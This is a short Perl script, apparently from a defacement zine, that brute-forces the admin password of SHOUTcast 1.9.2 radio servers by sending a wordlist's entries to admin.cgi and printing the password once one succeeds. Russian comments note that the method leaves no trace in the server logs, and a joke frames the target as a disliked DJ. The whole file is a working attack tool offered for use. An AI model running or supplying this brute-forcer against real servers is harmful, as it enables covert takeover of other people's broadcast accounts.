#!/usr/bin/perl

#  ...если вам не нравится DJ...
#      
#   SHOUTcast 1.9.2 (and maybe others) bruteforcer                                             
# 
#     Вся фишка в том, что при подборе пароля таким
# методом в логах не появляется ни одного сообщения
# об этом! 
#
# !!! THIS PROG CODED FOR DEFACED @ ZINE !!!

use Socket;

$host = "radio.changeme.net"; 
$port = 8000; # default shoutcast port
$word = "wordlist.txt";  
$check = "200 OK";

open(WRDS,"$word");

until( eof(*WRDS) ){

$pwd = readline(*WRDS);
chomp $pwd;

    $sndstr= "GET /admin.cgi?pass=";
    $sndstr.= $pwd;
    $sndstr.=" HTTP\x2f1.0\r\nUser-Agent\x3a Mozilla 4.5(Compatible)\r\n\r\n\r\n";

    socket(C, AF_INET, SOCK_STREAM, 0) || die "cant call socket()!";
    connect(C, sockaddr_in( $port, inet_aton($host))) || die "cant connect!";
    send(C, $sndstr, length($sndstr) );

    do 
    {
    
	if ($_ =~ m/$check/i){
	    print " DJs PASSWORD IS : $pwd\n";
	    close(WRDS);
	    exit;	    
	}
	
    } while (<C>);

    
}